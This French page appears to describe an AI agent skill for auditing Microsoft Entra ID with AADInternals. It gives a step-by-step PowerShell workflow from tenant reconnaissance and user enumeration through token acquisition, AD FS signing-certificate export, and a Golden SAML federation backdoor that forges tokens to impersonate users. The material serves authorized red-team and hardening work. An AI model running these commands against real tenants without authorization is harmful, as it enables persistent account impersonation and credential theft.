Communitygithub.com

auditing-entra-id-with-aadinternals

Piloter la boîte à outils PowerShell AADInternals pour effectuer la reconnaissance du locataire Microsoft Entra ID, l'acquisition de jetons d'accès aux API Microsoft et le test de backdoor de fédération/AD FS (Golden SAML, T1606.002) pour une validation défensive.

Qu'est-ce que auditing-entra-id-with-aadinternals ?

Cette compétence permet à un agent IA de piloter la boîte à outils AADInternals pour auditer Microsoft Entra ID (anciennement Azure AD) d'un point de vue défensif. Elle couvre la reconnaissance non authentifiée (domaines vérifiés, ID de locataire, type de fédération), l'acquisition de jetons pour les API Microsoft (Microsoft Graph, Exchange Online, etc.), l'énumération répertoire authentifiée, et surtout le test des backdoors de fédération et de la technique Golden SAML. L'agent peut exécuter des commandes PowerShell pour découvrir les faiblesses de configuration, vérifier si les certificats de signature AD FS sont protégés, et documenter les correctifs de durcissement. La compétence mappe les actions à la technique MITRE ATT&CK T1606.002 (Forge Web Credentials: SAML Tokens). Elle est conçue pour une utilisation autorisée uniquement dans le cadre de tests d'intrusion Red Team ou de validation de sécurité, et nécessite les autorisations appropriées (Administrateur Général pour les tests de backdoor). Le workflow guide l'agent étape par étape, de la reconnaissance initiale à la documentation des expositions.

Compatible avec~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/auditing-entra-id-with-aadinternals

Demander à votre IA préférée

Ouvre une nouvelle conversation avec cette compétence d'agent déjà préchargée.

Documentation

Audit d'Entra ID avec AADInternals

Avis juridique : Cette compétence est exclusivement destinée aux tests de sécurité autorisés, aux engagements red-team et à des fins éducatives. AADInternals peut falsifier des jetons SAML et installer des backdoors de fédération permettant une usurpation persistante de n'importe quel utilisateur du locataire. Utilisez-la uniquement sur des locataires dont vous êtes propriétaire ou pour lesquels vous avez reçu une autorisation écrite explicite (règles d'engagement) pour effectuer des tests. Toute utilisation non autorisée enfreint le Computer Fraud and Abuse Act et les lois équivalentes.

Présentation

AADInternals est la boîte à outils PowerShell offensive/administrative la plus complète pour Microsoft Entra ID (anciennement Azure AD), Azure AD Connect et Active Directory Federation Services (AD FS), créée par le Dr. Nestori Syynimaa (Gerenios / Secureworks). Elle expose des centaines de cmdlets (tous préfixés par AADInt) couvrant la reconnaissance externe non authentifiée, l'acquisition de jetons d'accès pour chaque API Microsoft, la manipulation de l'annuaire, les attaques AD FS/PTA, et la technique pour laquelle elle est la plus célèbre : les backdoors de fédération qui abusent du chemin Set-MsolDomainFederationSettings / ConvertTo-AADIntBackdoor de sorte qu'un attaquant contrôlant le IssuerUri d'un domaine fédéré puisse générer des jetons SAML pour des utilisateurs arbitraires — ce qui correspond à la technique MITRE ATT&CK T1606.002 (Forge Web Credentials: SAML Tokens), la même classe de technique utilisée dans les intrusions SolarWinds (Golden SAML).

Les capacités de la boîte à outils sont séparées en fonction de la position requise. Invoke-AADIntReconAsOutsider et Get-AADIntLoginInformation ne nécessitent aucune information d'identification — ils interrogent des points de terminaison publics (getuserrealm, configuration OpenID, autodiscover) pour révéler les domaines vérifiés, l'ID de locataire, le type de fédération, la marque et si le SSO Desktop/Seamless est activé. Avec un premier accès, les cmdlets Get-AADIntAccessTokenFor* acquièrent des jetons pour Azure AD Graph, Microsoft Graph, Exchange Online, SharePoint, Azure Core Management, et plus encore, en les mettant facultativement en cache pour que les cmdlets suivants les réutilisent. Avec un compte Administrateur Général (ou un compte Azure AD Connect synchronisé), la boîte à outils peut lire les secrets d'annuaire, manipuler les utilisateurs et établir la backdoor de fédération.

Cette compétence pilote AADInternals dans une optique de validation défensive : confirmer ce qu'un attaquant externe peut apprendre, ce qu'un jeton à faibles privilèges peut atteindre, et si la configuration de la fédération/AD FS permettrait un Golden SAML — puis produire des preuves et des recommandations de durcissement.

Quand l'utiliser

  • Lors d'une évaluation autorisée d'Entra ID / Microsoft 365 en red-team ou en scénario de brèche supposée
  • Pour énumérer la surface d'attaque externe (domaines vérifiés, type de fédération, SSO) avant des attaques par information d'identification
  • Pour valider que les certificats de signature de jeton de fédération et d'AD FS sont protégés contre Golden SAML
  • Pour tester l'acquisition et le rejeu de jetons sur les API propriétaires de Microsoft
  • Lors de la construction de détections (associez-la à la compétence de chasse aux logs Graph par l'équipe bleue) et que vous avez besoin de la télémétrie réelle d'AADInternals

Prérequis

  • Autorisation écrite couvrant les tests d'attaque sur l'identité et les backdoors de fédération
  • Hôte Windows avec PowerShell 5.1+ (ou PowerShell 7 sur le sous-ensemble pris en charge)
  • Pour les tests de backdoor/fédération : Administrateur Général (ou équivalent) dans le locataire cible, dans le périmètre selon les règles d'engagement
  • Installer le module depuis la Galerie PowerShell :
    Install-Module AADInternals -Scope CurrentUser
    Import-Module AADInternals
    # Une réimplémentation multiplateforme AsOutsider uniquement (sans informations d'identification) est également disponible :
    #   https://github.com/synacktiv/AADOutsider-py
    
  • Connaissance de SAML/WS-Federation, des jetons OAuth et d'Azure AD Connect

Objectifs

  • Effectuer une reconnaissance non authentifiée du locataire et énumérer les domaines vérifiés, l'ID de locataire et le type de fédération
  • Acquérir et mettre en cache des jetons d'accès pour les API propriétaires de Microsoft
  • Énumérer les utilisateurs/groupes/rôles avec un jeton authentifié
  • Tester la backdoor de fédération / le chemin Golden SAML de manière contrôlée et autorisée
  • Documenter l'exposition et fournir des recommandations de durcissement (protection des certificats de signature, surveillance de la fédération)

Mappage MITRE ATT&CK

IDTechniqueApplication dans cette compétence
T1606.002Forge Web Credentials: SAML TokensConvertTo-AADIntBackdoor + New-AADIntSAMLToken forgent des jetons SAML pour des utilisateurs arbitraires via un IssuerUri de fédération contrôlé (Golden SAML)

Techniques associées : T1087.004 Account Discovery: Cloud Account (recon), T1528 Steal Application Access Token (acquisition de jetons), T1556.007 Modify Authentication Process: Hybrid Identity (backdoors de fédération/PTA).

Workflow

Étape 1 : Reconnaissance externe non authentifiée

Aucune information d'identification requise. Identifiez les domaines vérifiés, l'ID de locataire, le type de fédération, la marque et l'état du SSO.

# Reconnaissance externe complète pour un domaine (sortie tabulaire)
Invoke-AADIntReconAsOutsider -DomainName "target.com" | Format-Table

# Détails de connexion/de domaine : fédéré vs managé, AuthURL, marque
Get-AADIntLoginInformation -Domain "target.com"

# GUID du locataire
Get-AADIntTenantID -Domain "target.com"

Étape 2 : Énumération des utilisateurs externes (facultatif, bruyant)

Validez si les noms d'utilisateur existent via les points de terminaison GetCredentialType / autologon.

# Fournissez une liste d'UPN candidats pour tester leur existence
Invoke-AADIntUserEnumerationAsOutsider -UserName "[email protected]"
# Ou passez-en plusieurs en pipeline :
Get-Content .\utilisateurs.txt | Invoke-AADIntUserEnumerationAsOutsider

Étape 3 : Acquérir et mettre en cache des jetons d'accès

Avec des informations d'identification valides (ou une invite interactive), obtenez des jetons pour l'API nécessaire. -SaveToCache permet aux cmdlets suivants de réutiliser automatiquement le jeton.

# Jeton Azure AD Graph (graph.windows.net hérité), mis en cache
Get-AADIntAccessTokenForAADGraph -SaveToCache

# Microsoft Graph (graph.microsoft.com)
$mg = Get-AADIntAccessTokenForMSGraph

# Exchange Online
$exo = Get-AADIntAccessTokenForEXO

Étape 4 : Énumération authentifiée de l'annuaire

En utilisant un jeton mis en cache ou acquis, lisez les objets d'annuaire pour cartographier les privilèges.

# Informations globales du locataire (utilise le jeton AAD Graph en cache)
Get-AADIntTenantDetails

# Énumérez les utilisateurs et recherchez les comptes privilégiés/synchronisés
Get-AADIntUsers | Select-Object UserPrincipalName, DirSyncEnabled, ImmutableId

Étape 5 : Inspecter la configuration de la fédération / AD FS

Déterminez si le locataire utilise des domaines fédérés et où se trouvent les clés de signature — la condition préalable pour Golden SAML.

# Si vous avez accès au serveur AD FS, exportez le certificat de signature
Export-AADIntADFSSigningCertificate -Path .\adfs_signing.pfx
# Lisez la configuration / les clés de chiffrement AD FS (sur le serveur AD FS ou via DKM)
Get-AADIntADFSConfiguration -Server adfs.cible.com

Étape 6 : Backdoor de fédération / Golden SAML (uniquement autorisé)

Convertissez un domaine en backdoor en définissant un IssuerUri connu, puis forgez un jeton SAML pour un utilisateur cible en utilisant le ImmutableId de ce domaine. Uniquement dans un locataire contrôlé avec une autorisation explicite.

# Nécessite un jeton Administrateur Général (AAD Graph) mis en cache à l'étape 3
ConvertTo-AADIntBackdoor -DomainName "backdoor.cible.com"
# La sortie inclut le IssuerUri à réutiliser lors du forgement des jetons.

# Forgez un jeton SAML en usurpant l'identité d'un utilisateur (ImmutableId depuis Get-AADIntUsers)
$saml = New-AADIntSAMLToken -ImmutableID "UQ989+t6fEq9/0ogYtt1pA==" `
    -Issuer "http://backdoor.cible.com/adfs/services/trust/" -UseBuiltInCertificate

# Utilisez le jeton forgé pour ouvrir une session portail en tant qu'utilisateur usurpé
Open-AADIntOffice365Portal -SAMLToken $saml

Étape 7 : Documenter l'exposition et durcir

Capturez exactement ce que la reconnaissance a révélé, quels jetons/API étaient accessibles, et si le chemin backdoor/Golden SAML a réussi. Recommandez : protéger les certificats de signature AD FS (HSM, accès DKM restreint), alerter sur les nouveaux/changements de relations de confiance de fédération, surveiller Set-DomainAuthentication/Set-MsolDomainFederationSettings, et migrer lorsque cela est possible vers une authentification cloud managée.

Outils et ressources

RessourceObjectifSource
AADInternalsBoîte à outils d'attaque et d'administration Entra ID / AD FShttps://github.com/Gerenios/AADInternals
Documentation AADInternalsRéférence des cmdlets et articles sur les techniqueshttps://aadinternals.com/aadinternals/
AADOutsider-pyRéimplémentation multiplateforme AsOutsiderhttps://github.com/synacktiv/AADOutsider-py
Contexte Golden SAMLArticle sur la technique de backdoor de fédérationhttps://aadinternals.com/post/aadbackdoor/
MITRE T1606.002Forge Web Credentials: SAML Tokenshttps://attack.mitre.org/techniques/T1606/002/

Référence rapide des cmdlets

CmdletPositionObjectif
Invoke-AADIntReconAsOutsiderAucuneDomaines vérifiés, ID de locataire, type de fédération, SSO
Get-AADIntLoginInformationAucuneInformations de domaine/de connexion pour un domaine
Get-AADIntTenantIDAucuneGUID du locataire
Invoke-AADIntUserEnumerationAsOutsiderAucuneValider l'existence d'utilisateurs
Get-AADIntAccessTokenForAADGraphInformations d'identificationJeton Azure AD Graph (-SaveToCache)
Get-AADIntAccessTokenForMSGraphInformations d'identificationJeton Microsoft Graph
Get-AADIntAccessTokenForEXOInformations d'identificationJeton Exchange Online
Get-AADIntUsersJetonÉnumérer les utilisateurs de l'annuaire
ConvertTo-AADIntBackdoorAdministrateur GénéralConvertir un domaine en backdoor de fédération
New-AADIntSAMLTokenBackdoorForger un jeton SAML pour un utilisateur (Golden SAML)
Open-AADIntOffice365PortalJeton SAMLOuvrir une session portail en tant qu'utilisateur usurpé

Critères de validation

  • Reconnaissance externe terminée ; domaines vérifiés, ID de locataire et type de fédération enregistrés
  • Énumération des utilisateurs testée (ou documentée comme hors périmètre)
  • Jeton d'accès acquis et mis en cache pour au moins une API Microsoft
  • Énumération authentifiée de l'annuaire effectuée (utilisateurs/rôles, comptes synchronisés notés)
  • Configuration de la fédération / AD FS évaluée pour l'exposition des clés de signature
  • Chemin backdoor / Golden SAML testé dans un locataire autorisé et contrôlé ou documenté comme hors périmètre
  • Exposition documentée avec impact concret
  • Recommandations de durcissement fournies (protection des certificats, surveillance de la fédération, migration vers l'authentification managée)

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

Skills associés